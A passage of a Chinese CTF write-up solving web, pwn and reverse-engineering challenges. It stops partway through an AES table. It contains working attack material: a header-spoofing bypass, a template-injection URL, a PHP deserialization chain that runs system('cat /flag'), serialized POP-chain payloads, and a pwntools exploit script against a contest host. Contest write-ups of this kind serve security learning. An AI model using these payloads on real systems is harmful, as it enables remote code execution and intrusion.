Web
loginme
第一步绕过本地验证,x-forwarded-for
和 client-ip
被过滤了,X-Real-IP:127.0.0.1
绕过
第二步是 gin 的模板注入,让 id 为一个不存在的值,age 为 {{.Password}}
就可以获得 admin 结构体中的 Password 变量值了。
http://124.71.166.197:18001/admin/index?id=5&age={{.Password}}
Upload_it
可以任意上传 /tmp
目录下文件, 可以直接写进 session 文件。查看 phpinfo 发现 session 的处理器是 php,于是可以把 upload_path|$serialize
写进 /tmp/sess_or4nge
,然后改自己的 session_id 为 or4nge,即可触发反序列化。
利用给的 Composer.json:
"symfony/string": "^5.3",
"opis/closure": "^3.6"
结合出题人发布的文章 https://www.anquanke.com/post/id/217929#h2-3 找到一条链,其中 lazystring 的任意无参数函数调用接的是闭包函数 __invoke
,可以将闭包函数序列化进去。
<?php
namespace Symfony\Component\String{
require "path\to\autoload.php";
class LazyString{
private $value;
public function __construct()
{
$func = function(){system("cat /flag");};
$d = new \Opis\Closure\SerializableClosure($func);
$this->value = $d;
}
}
class UnicodeString{
protected $string = '';
public function __construct()
{
$this->string=new LazyString;
}
}
}
namespace {
$exp=print(urlencode(serialize(new Symfony\Component\String\UnicodeString())));
}
其实这条链本地没有打通,原因是因为在 UnicodeString.php 里,对 $this->string
进行了限制
public function __wakeup()
{
if (!\is_string($this->string)) {
throw new \BadMethodCallException('Cannot unserialize '.__CLASS__);
}
normalizer_is_normalized($this->string) ?: $this->string = normalizer_normalize($this->string);
}
但是猜到出题人以前发布过,直接盲打过去,RCE 成功。
upload_path|O%3A38%3A%22Symfony%5CComponent%5CString%5CUnicodeString%22%3A1%3A%7Bs%3A9%3A%22%00%2A%00string%22%3BO%3A35%3A%22Symfony%5CComponent%5CString%5CLazyString%22%3A1%3A%7Bs%3A42%3A%22%00Symfony%5CComponent%5CString%5CLazyString%00value%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A196%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A32%3A%22function%28%29%7Bsystem%28%22cat+%2Fflag%22%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A35%3A%22Symfony%5CComponent%5CString%5CLazyString%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%2200000000034bf950000000005225a861%22%3B%7D%7D%7D%7D
FUMO_on_the_Christmas_tree
强网杯 pop_master 魔改的题
首先是对 __invoke
和 __call
的魔术方法的类进行改写,全部能改写为正常的形式:
import re
from base64 import b64decode
def erase_call(FILEIN, FILEOUT):
fp = open(FILEIN, 'rb')
fo = open(FILEOUT, 'wb')
FILE = [_.decode().replace('\n', '') for _ in fp.readlines()]
i = 0
while i < len(FILE):
line = FILE[i]
if '__call' in line:
l1, l2 = FILE[i + 1], FILE[i + 2]
use_func = re.search(r'extract\(\[\$name => \'(.*)\'\]\);', l1)[1]
pattern = re.search(r'if \(is\_callable\(\[\$this\-\>(.*)\, \$(.*)\]\)\)', l2)
obj_name, func_name = pattern[1], pattern[2]
new_code = []
new_code.append(' public function %s($value) {\n' % func_name)
new_code.append(' if (is_callable([$this->%s, %s])) @$this->%s->%s($value);\n' % (obj_name, use_func, obj_name, use_func))
new_code.append(' }\n')
for j in new_code:
fo.write(j.encode())
i += 4
else:
fo.write((line + '\n').encode())
i += 1
fp.close()
fo.close()
def erase_invoke(FILEIN, FILEOUT):
fp = open(FILEIN, 'rb')
fo = open(FILEOUT, 'wb')
FILE = [_.decode().replace('\n', '') for _ in fp.readlines()]
i = 0
while i < len(FILE):
line = FILE[i]
if '@call_user_func' in line:
pattern = re.search(r'call_user_func\(\$this\-\>(.*)\, \[\'(.*)\' \=\> \$(.*)\]\);', line)
# print(pattern)
obj_name, use_func, func_para = pattern[1], pattern[2], pattern[3]
# print(obj_name, use_func, func_para)
new_code = " if (is_callable([$this->%s, '%s'])) @$this->%s->%s(%s);\n" % (obj_name, use_func, obj_name, use_func, func_para)
fo.write(new_code.encode())
elif "__invoke" in line:
l1, l2 = FILE[i + 1], FILE[i + 2]
key = re.search(r'\$key = base64_decode\(\'(.*)\'\);', l1)[1]
key = b64decode(key.encode()).decode()
pattern = re.search(r'\$this\-\>(.*)\-\>(.*)\(\$value\[\$key\]\);', l2)
try:
obj_name, use_func = pattern[1], pattern[2]
except:
print(line)
print(l1)
print(l2)
new_code = []
new_code.append(' public function %s($value) {\n' % key)
new_code.append(' if (is_callable([$this->%s, %s])) @$this->%s->%s($value);\n' % (obj_name, use_func, obj_name, use_func))
new_code.append(' }\n')
for j in new_code:
fo.write(j.encode())
i += 3
else:
fo.write((line + '\n').encode())
i += 1
fp.close()
fo.close()
erase_invoke('class.code.txt', 'mid_class.txt')
erase_call('mid_class.txt', 'final_class.txt')
在最终代码里手动把 namespace christmasTree 里去掉,之后进行 PHP_Paser 对这份代码进行语法树构建分析:
<?php
ini_set('memory_limit', '1024M');
require 'path\to\autoload.php';
error_reporting(0);
use PhpParser\Error; //use to catch error
use PhpParser\NodeDumper; //use to read node
use PhpParser\ParserFactory; //use to anlaysis code
use PhpParser\PrettyPrinter;
$inputPhpFile = 'final_class.txt';
$code = file_get_contents($inputPhpFile);
$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);
try {
$stmts = $parser->parse($code);
} catch (Error $e) {
echo "Parse error:{$e->getMessage()}\n";
exit(0);
}
echo "[+] get file done\n";
$deleteCnt = 0;
$deleteCla = 0;
$nodeDumper = new NodeDumper;
$class_num = 0;
$func_list = array();
$fp = fopen("function_list.txt", "wb");
$fo = fopen("deploy_list.txt", "wb");
$fd = fopen("destination.txt", "wb");
foreach ($stmts as $k => $class_point) {
if ($class_point->gettype() === 'Stmt_Nop')
continue;
if ($class_point->gettype() === 'Stmt_Class'){
$class_name = $class_point->name->name;
$class_num++;
foreach ($class_point->stmts as $kk => $subpoint) {
if ($subpoint->gettype() === 'Stmt_Nop')
continue;
if ($subpoint->gettype() === 'Stmt_Property') {
;
}
if ($subpoint->gettype() === "Stmt_ClassMethod") {
$func_name = $subpoint->name->name;
if ($func_name === '__destruct') {
$entrance = $class_name;
break;
}
if (!$subpoint->params) {
continue;
}
$parms = $subpoint->params[0]->var->name;
fwrite($fp, $class_name.' '.$func_name."\n");
$pass_way = "pass";
foreach ($subpoint->stmts as $kkk => $method_point) {
if ($method_point->gettype() === 'Stmt_Expression') {
$assign_1 = $method_point->expr->expr->var->name;
$use_func = $method_point->expr->expr->expr->name->parts[0];
$assign_2 = $method_point->expr->expr->expr->args[0]->value->name;
if($use_func === null) {
$assign_2 = $method_point->expr->expr->expr->name;
$use_func = "pass";
}
else {
$func_list[$use_func] = 1;
}
if($assign_1 !== $assign_2) break;
$pass_way = $use_func;
if(in_array($pass_way, array("sha1", "md5", "crypt"))) {
break;
}
} else if($method_point->gettype() === 'Stmt_If') {
if ($method_point->stmts[0]->expr->name->parts[0] == "readfile") {
fwrite($fd, $class_name.' '.$func_name.' '.$parms."\n");
break;
}
$use_obj = $method_point->stmts[0]->expr->expr->var->name->name;
$use_func = $method_point->stmts[0]->expr->expr->name->name;
fwrite($fo, $class_name.' '.$func_name.' '.$use_obj." ".$use_func." ".$pass_way."\n");
}
}
}
}
}
}
echo '[+] filter done' . "\n";
echo $entrance;
fclose($fp);
fclose($fo);
构建把所有类的名称,函数,终点的类的函数,以及函数调用关系分别存储起来。
其中有一些污点过滤,比如 md5, sha1, ucfirst, crypt 的调用直接无视,赋值两边参数不等的也直接无视,另外发现 base64 解码的时候出现的不可见字符也会对后面产生影响,故把所有进行 base64_decode
部分全部剪掉。
然后手动加一下 __destruct
在文件里,把这三个文件放在一起,然后用C语言寻找可行链。
#include<bits/stdc++.h>
using namespace std;
#define mem(a,b) memset(a,b,sizeof(a))
typedef long long LL;
typedef pair<string, string> PII;
#define X first
#define Y second
inline int read() {
int x = 0, f = 1; char c = getchar();
while(!isdigit(c)){if(c == '-')f = -1;c = getchar();}
while(isdigit(c)){x = x * 10+ c-'0'; c = getchar();}
return x * f;
}
const int maxn = 20010;
struct Edge {
int u, v, next;
PII w;
Edge(){}
Edge(int _1, int _2, int _3, string _4, string _5): u(_1), v(_2), next(_3) {
w = make_pair(_4,_5);
}
}e[maxn<<4];
int first[maxn], ce = -1, tot, tag[maxn];
string name[maxn], func[maxn], use[maxn];
struct Class {
string name, func;
Class() {}
Class(string _1, string _2):name(_1), func(_2) {}
bool operator < (const Class &s)const{
if(name == s.name){
return func < s.func;
}
return name < s.name;
}
}a[maxn];
int pre[maxn], n;
PII prew[maxn];
void addEdge(int a,int b, string c,string d) {
e[++ce] = Edge(a, b, first[a], c, d); first[a] = ce;
}
map<Class, int> M;
int match(Class A,string use_func, string use_obj, string pass)
{
for (int i = 1; i <= n; i++) {
if (M[A] == i) continue;
if (use_func == a[i].func) {
addEdge(M[A], M[a[i]], use_obj, pass);
}
}
}
bool vis[maxn];
int count_chain;
void dfs(int now, int fa) {
vis[now] = 1;
if (tag[now]) {
count_chain ++;
int tmp = now;
cout << a[tmp].name << ' ' << a[tmp].func << endl;
string use_obj = prew[tmp].X, pass_way = prew[tmp].Y;
tmp = pre[tmp];
while(tmp != -1) {
cout << a[tmp].name << ' ' << a[tmp].func << ' ' << use_obj << ' ' << pass_way << endl;
use_obj = prew[tmp].X, pass_way = prew[tmp].Y;
tmp = pre[tmp];
}
cout << endl;
return;
}
for (int i = first[now]; i != -1; i = e[i].next) {
if(e[i].v != fa && !vis[e[i].v]) {
if(e[i].w.Y == "base64_encode")continue;
if(e[i].w.Y == "ucfirst")continue;
pre[e[i].v] = now;
prew[e[i].v] = e[i].w;
dfs(e[i].v, now);
}
}
}
int main() {
mem(first, -1);
freopen("data.txt", "rb", stdin);
freopen("ans.txt", "w", stdout);
int start = 1;
n = read();
string params;
for (int i = 1; i <= n; i++) {
cin >> name[i] >> func[i];
a[i] = Class(name[i], func[i]);
M[a[i]] = i;
}
int m = read();
for(int i=1;i<=m;i++){
string class_name, func_name, use_obj, use_func, pass_way;
cin >> class_name >> func_name >> use_obj >> use_func >> pass_way;//$class_name.' '.$func_name.' '.$use_obj." ".$use_func." ".$pass_way
int id = 1;
for (int j = 1; j <= n; j++)
if (class_name == name[j] && func_name == func[j]) {
id = j;
break;
}
match(a[id], use_func, use_obj, pass_way);
}
int o = read();
for (int i = 1; i <= o; i++) {
string x, y, z;
cin >> x >> y >> z;
int id = 0;
for (int j = 1; j <= n; j++)
if(x == name[j] && y == func[j]) {
id=j;
break;
}
if(id==0)cout<<x<<' '<<y<<endl;
tag[id] = 1;
}
pre[start] = -1;
dfs(start, -1);
cout<<count_chain;
return 0;
}
刚好只有一条可行链,倒序打印链:
AN9pNsmlT Fhh5TZoD0
Ugh4SYk00D bLqi60vf tQF7ER str_rot13
xEFW8yw08 gvgCPyi nYuAuh2 str_rot13
Xl5V1fEbzD Z5G5uz fgVgm4TV97 pass
d9vgRnlEA trZx9DLGq T4rUU9R base64_decode
Ronyv7u Uaxr3XOrz uDQ0ehd4p strrev
T6Y5QYS GP5h5gz p9mwE7l str_rot13
SKVnfvfbas gkbXYD UOvWbl pass
o5d0ioNZ vBmg2S exGoDOPm str_rot13
FK0LfIlrxm uxVcfoc gZ9IzdbF6T pass
eHSt3I5L30 YbMfp8D9 exoEH1 pass
c76So3oF EttYcl6 cwQWOIEL strrev
u1q3m04qZb EtQ6pQB NGIlAGGLv pass
xT506K QiVLzL Dblxvn pass
p6NArTi YgmXN30 VbpsE7wqUH base64_decode
ezlgUUHCdQ lwUpo3 fDViVU pass
uGnuU5pGgQ cc60Kte4Em XbW5o6yiGv base64_decode
GGcIkQ6E a2l0Eeqr CK5OgoyC strrev
vS1qenzGWr kR5Y66g yrVWMn9 pass
amg2Vw __destruct PCR49GlRM pass
根据上述链的写脚本构造 poc:
fp = open('popchain.txt', 'r')
fo = open('poc.php', 'w')
fo.write('<?php\nnamespace christmasTree{\n')
line_list = []
for line in fp.readlines():
line = line.replace('\n', '')
line_list.append(line)
line_list = line_list[::-1]
for i, line in enumerate(line_list[:-1]):
class_name, func_name, use_obj, _ = line.split(' ')
if i == 0:
start_point = class_name
next_name = line_list[i + 1].split(' ')[0]
print(class_name, func_name, use_obj, next_name)
payload = '''class %s{
public $%s;
public function __construct(){
$this->%s = new %s();
}
}
''' % (class_name, use_obj, use_obj, next_name)
fo.write(payload + '\n')
class_name, func_name = line_list[-1].split(' ')
payload = '''class %s{
public $%s;
}
''' % (class_name, use_obj)
fo.write(payload + '\necho urlencode(serialize(new %s()));}' % start_point)
print(class_name, func_name)
生成的 poc 不能直接打通,因为要求类内所有 public 属性都要进行赋值,对生成的 poc 还需要手动修改,对未利用的对象赋为 stdClass()
最终的poc:
<?php
namespace christmasTree{
class amg2Vw{
public $PCR49GlRM;
public function __construct(){
$this->PCR49GlRM = new vS1qenzGWr();
}
}
class vS1qenzGWr{
public $yrVWMn9;
public $S839pvNRU;
public function __construct(){
$this->yrVWMn9 = new GGcIkQ6E();
$this->S839pvNRU = new \stdClass();
}
}
class GGcIkQ6E{
public $CK5OgoyC;
public $Vkyud3;
public function __construct(){
$this->CK5OgoyC = new uGnuU5pGgQ();
$this->Vkyud3 = new \stdClass();
}
}
class uGnuU5pGgQ{
public $XbW5o6yiGv;
public $XEH9BQ;
public function __construct(){
$this->XbW5o6yiGv = new ezlgUUHCdQ();
$this->XEH9BQ = new \stdClass();
}
}
class ezlgUUHCdQ{
public $fDViVU;
public function __construct(){
$this->fDViVU = new p6NArTi();
}
}
class p6NArTi{
public $VbpsE7wqUH;
public $yKwNrpRAQ;
public function __construct(){
$this->VbpsE7wqUH = new xT506K();
$this->yKwNrpRAQ = new \stdClass();
}
}
class xT506K{
public $Dblxvn;
public $sPEbogX4;
public function __construct(){
$this->Dblxvn = new u1q3m04qZb();
$this->sPEbogX4 = new \stdClass();
}
}
class u1q3m04qZb{
public $NGIlAGGLv;
public function __construct(){
$this->NGIlAGGLv = new c76So3oF();
}
}
class c76So3oF{
public $cwQWOIEL;
public $rHYG3Wr;
public function __construct(){
$this->cwQWOIEL = new eHSt3I5L30();
$this->rHYG3Wr = new \stdClass();
}
}
class eHSt3I5L30{
public $exoEH1;
public $UO4yLd;
public function __construct(){
$this->exoEH1 = new FK0LfIlrxm();
$this->UO4yLd = new \stdClass();
}
}
class FK0LfIlrxm{
public $gZ9IzdbF6T;
public $Q7mg44bg;
public function __construct(){
$this->gZ9IzdbF6T = new o5d0ioNZ();
$this->Q7mg44bg = new \stdClass();
}
}
class o5d0ioNZ{
public $exGoDOPm;
public $TEODq2c3Uo;
public function __construct(){
$this->exGoDOPm = new SKVnfvfbas();
$this->TEODq2c3Uo = new \stdClass();
}
}
class SKVnfvfbas{
public $UOvWbl;
public $m4pnFndZoX;
public function __construct(){
$this->UOvWbl = new T6Y5QYS();
$this->m4pnFndZoX = new \stdClass();
}
}
class T6Y5QYS{
public $p9mwE7l;
public $aysl2yR5g;
public function __construct(){
$this->p9mwE7l = new Ronyv7u();
$this->aysl2yR5g = new \stdClass();
}
}
class Ronyv7u{
public $uDQ0ehd4p;
public $uqkULP0XD;
public function __construct(){
$this->uDQ0ehd4p = new d9vgRnlEA();
$this->uqkULP0XD = new \stdClass();
}
}
class d9vgRnlEA{
public $T4rUU9R;
public function __construct(){
$this->T4rUU9R = new Xl5V1fEbzD();
}
}
class Xl5V1fEbzD{
public $fgVgm4TV97;
public function __construct(){
$this->fgVgm4TV97 = new xEFW8yw08();
}
}
class xEFW8yw08{
public $nYuAuh2;
public function __construct(){
$this->nYuAuh2 = new Ugh4SYk00D();
}
}
class Ugh4SYk00D{
public $tQF7ER;
public function __construct(){
$this->tQF7ER = new AN9pNsmlT();
}
}
class AN9pNsmlT{
public $Ipz7D3;
public function __construct(){
$this->Ipz7D3 = new \stdClass();
}
}
echo urlencode(serialize(new amg2Vw()));}
同时对pop链中的所有编码过程进行逆向,得到最终要进行读 /fumo
的编码结果:
<?php
$fp = fopen("popchain.txt", "r");
$payload = '/fumo';
$line = fgets($fp);
$list = array();
while(! feof($fp)) {
$line = fgets($fp);//fgets()函数从文件指针中读取一行
array_push($list, trim($line));
$line = trim(explode(" ",$line)[3]);
echo $line."\n";
if($line === "pass") {
continue;
} else if($line === "base64_decode") {
$payload = base64_encode($payload);
} else if($line === "ucfirst") {
continue;
} else if($line === "strrev") {
$payload = strrev($payload);
} else if($line === "str_rot13") {
$payload = str_rot13($payload);
}
}
echo $payload."\n";
$list = array_reverse($list);
foreach($list as $line){
$line = explode(" ",$line)[3];
if($line === "pass") {
continue;
} else if($line === "base64_decode") {
$payload = base64_decode($payload);
} else if($line === "ucfirst") {
continue;
} else if($line === "strrev") {
$payload = strrev($payload);
} else if($line === "str_rot13") {
$payload = str_rot13($payload);
}
}
echo $payload;
fclose($fp);
最终序列化链:
O%3A20%3A%22christmasTree%5Camg2Vw%22%3A1%3A%7Bs%3A9%3A%22PCR49GlRM%22%3BO%3A24%3A%22christmasTree%5CvS1qenzGWr%22%3A2%3A%7Bs%3A7%3A%22yrVWMn9%22%3BO%3A22%3A%22christmasTree%5CGGcIkQ6E%22%3A2%3A%7Bs%3A8%3A%22CK5OgoyC%22%3BO%3A24%3A%22christmasTree%5CuGnuU5pGgQ%22%3A2%3A%7Bs%3A10%3A%22XbW5o6yiGv%22%3BO%3A24%3A%22christmasTree%5CezlgUUHCdQ%22%3A1%3A%7Bs%3A6%3A%22fDViVU%22%3BO%3A21%3A%22christmasTree%5Cp6NArTi%22%3A2%3A%7Bs%3A10%3A%22VbpsE7wqUH%22%3BO%3A20%3A%22christmasTree%5CxT506K%22%3A2%3A%7Bs%3A6%3A%22Dblxvn%22%3BO%3A24%3A%22christmasTree%5Cu1q3m04qZb%22%3A1%3A%7Bs%3A9%3A%22NGIlAGGLv%22%3BO%3A22%3A%22christmasTree%5Cc76So3oF%22%3A2%3A%7Bs%3A8%3A%22cwQWOIEL%22%3BO%3A24%3A%22christmasTree%5CeHSt3I5L30%22%3A2%3A%7Bs%3A6%3A%22exoEH1%22%3BO%3A24%3A%22christmasTree%5CFK0LfIlrxm%22%3A2%3A%7Bs%3A10%3A%22gZ9IzdbF6T%22%3BO%3A22%3A%22christmasTree%5Co5d0ioNZ%22%3A2%3A%7Bs%3A8%3A%22exGoDOPm%22%3BO%3A24%3A%22christmasTree%5CSKVnfvfbas%22%3A2%3A%7Bs%3A6%3A%22UOvWbl%22%3BO%3A21%3A%22christmasTree%5CT6Y5QYS%22%3A2%3A%7Bs%3A7%3A%22p9mwE7l%22%3BO%3A21%3A%22christmasTree%5CRonyv7u%22%3A2%3A%7Bs%3A9%3A%22uDQ0ehd4p%22%3BO%3A23%3A%22christmasTree%5Cd9vgRnlEA%22%3A1%3A%7Bs%3A7%3A%22T4rUU9R%22%3BO%3A24%3A%22christmasTree%5CXl5V1fEbzD%22%3A1%3A%7Bs%3A10%3A%22fgVgm4TV97%22%3BO%3A23%3A%22christmasTree%5CxEFW8yw08%22%3A1%3A%7Bs%3A7%3A%22nYuAuh2%22%3BO%3A24%3A%22christmasTree%5CUgh4SYk00D%22%3A1%3A%7Bs%3A6%3A%22tQF7ER%22%3BO%3A23%3A%22christmasTree%5CAN9pNsmlT%22%3A1%3A%7Bs%3A6%3A%22Ipz7D3%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7D%7D%7D%7Ds%3A9%3A%22uqkULP0XD%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A9%3A%22aysl2yR5g%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A10%3A%22m4pnFndZoX%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A10%3A%22TEODq2c3Uo%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A8%3A%22Q7mg44bg%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A6%3A%22UO4yLd%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A7%3A%22rHYG3Wr%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7Ds%3A8%3A%22sPEbogX4%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A9%3A%22yKwNrpRAQ%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7Ds%3A6%3A%22XEH9BQ%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A6%3A%22Vkyud3%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7Ds%3A9%3A%22S839pvNRU%22%3BO%3A8%3A%22stdClass%22%3A0%3A%7B%7D%7D%7D
然后调用的参数:9ADRPhlSX1UYKREV
即可读到 /fumo
Pwn
dataleak
核心是调用了 cJSON_Minify
这个函数,这个函数差不多就是省略调所有的注释,读给的 libc 的源码可以发现,/*
在判断 \x00
后仍然有 +=2
这个操作于是可以弥补调读入 0xe
剩下的两个空字节,然后可以分段泄露出data
from pwn import *
import sys
context(os='linux', arch='amd64', log_level='debug')
if len(sys.argv) < 2:
debug = True
else:
debug = False
if debug:
p = process("./cJSON_PWN")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
p = remote("124.70.202.226", 2101)
def debugf(b=0):
if debug:
if b:
gdb.attach(p,"b *$rebase({b})".format(b = hex(b)))
else:
gdb.attach(p)
elf = ELF('./cJSON_PWN')
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)
debugf(0x120D)
# sn(b"a"*14)
# sn(p64(elf.got["read"]))
sn(b"aaaaaaaaaaa/*a")
sn(b"aaaaa/*" + b"b"*7)
sn(b"aaaaa/*" + b"a"*7)
sn(b"/*" + b"b"*12)
p.interactive()
Re
godness dance
输入长度 28
上来是个哈希表做字母频率统计,i
和 u
出现两次,其余 a-z
出现一次
然后将 0-28
依次放到一个数组里,看了一下密文,发现也是 0-28
后面的逻辑每分析出来,于是尝试选择明文攻击(后来得知后面的逻辑只是混淆)
input: abcdefghijklmnopqrstuvwxyziu
output: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 27, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 28, 21, 22, 23, 24, 25, 26
input: abcdefghijklmnopqrstuvwxyzui
output: 0, 1, 2, 3, 4, 5, 6, 7, 8, 28, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 27, 21, 22, 23, 24, 25, 26
input: abcdefghijklmnopqrstuvwxyizu
output: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 26, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 28, 21, 22, 23, 24, 25, 27
input: zyxwvutsrqponmlkjihgfedcbaiu
output: 0, 26, 25, 24, 23, 22, 21, 20, 19, 18, 27, 17, 16, 15, 14, 13, 12, 11, 10, 9, 8, 7, 28, 6, 5, 4, 3, 2, 1
input: bacdefghijklmnopqrstuvwxyziu
output: 0, 2, 1, 3, 4, 5, 6, 7, 8, 9, 27, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 28, 21, 22, 23, 24, 25, 26
flag:
waltznymphforquickjigsvexbud
target: 0, 2, 26, 17, 28, 24, 11, 21, 10, 16, 20, 19, 18, 3, 8, 6, 12, 9, 14, 13, 22, 4, 27, 15, 23, 1, 25, 7, 5
根据动调的结果,判断最后的密文就是把 a-z
的 index 依次放上来
手动还原 flag
CPlusExceptionEncrypt
异常处理,在所有的 begin_catch 下面下断点就能恢复流程
第一个加密是魔改后的tea
v0 += (sum + i) ^ (((v1 >> 5) + k3) ^ (sum1 + v1) ^ ((v1 << 4) + k2))
v1 += (sum + i) ^ (((v0 >> 5) + k1) ^ (sum1 + v0) ^ ((v0 << 4) + k0))
tea 之后对计算结果依次异或 s
, c
, t
, f
随后进行 AES 轮密钥生成,对拍发现没有魔改
接下来是魔改后的 AES:
- 修改了最开始的轮密钥加:每个字节另外异或 0x66
- 随后执行的应该是 9 轮加密
- subbyte 用的是 inv_s_box
- 然后用的是 inv_shift_rows
- 然后是正向列混淆
- 正向的轮密钥加
- 最后是正常的字节替换,行移位和轮密钥加
解密脚本:
aes.py
from galois import GF2 as _GF2
_aes_s_box = [
[0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76],
[0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0, 0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0],
[0xb7, 0xfd, 0x93, 0x26, 0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15],
[0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2, 0xeb, 0x27, 0xb2, 0x75],
[0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0, 0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84],
[0x53, 0xd1, 0x00, 0xed, 0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf],
[0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f, 0x50, 0x3c, 0x9f, 0xa8],
[0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5, 0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2],
[0xcd, 0x0c, 0x13, 0xec, 0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73],
[0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14, 0xde, 0x5e, 0x0b, 0xdb],
[0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c, 0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79],
[0xe7, 0xc8, 0x37, 0x6d, 0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08],
[0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f, 0x4b, 0xbd, 0x8b, 0x8a],
[0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e, 0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e],
[0xe1, 0xf8, 0x98, 0x11, 0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf],
[0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f, 0xb0, 0x54, 0xbb, 0x16]
]
_aes_s_box_inverse = [
[0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e, 0x81, 0xf3, 0xd7, 0xfb],
[0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87, 0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb],
[0x54, 0x7b, 0x94, 0x32, 0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e],
[0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49, 0x6d, 0x8b, 0xd1, 0x25],
[0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16, 0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92],
[0x6c, 0x70, 0x48, 0x50, 0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84],
[0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05, 0xb8, 0xb3, 0x45, 0x06],
[0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02, 0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b],
[0x3a, 0x91, 0x11, 0x41, 0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73],
[0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8, 0x1c, 0x75, 0xdf, 0x6e],
[0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89, 0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b],
[0xfc, 0x56, 0x3e, 0x4b, 0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4],
[0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59, 0x27, 0x80, 0xec, 0x5f],
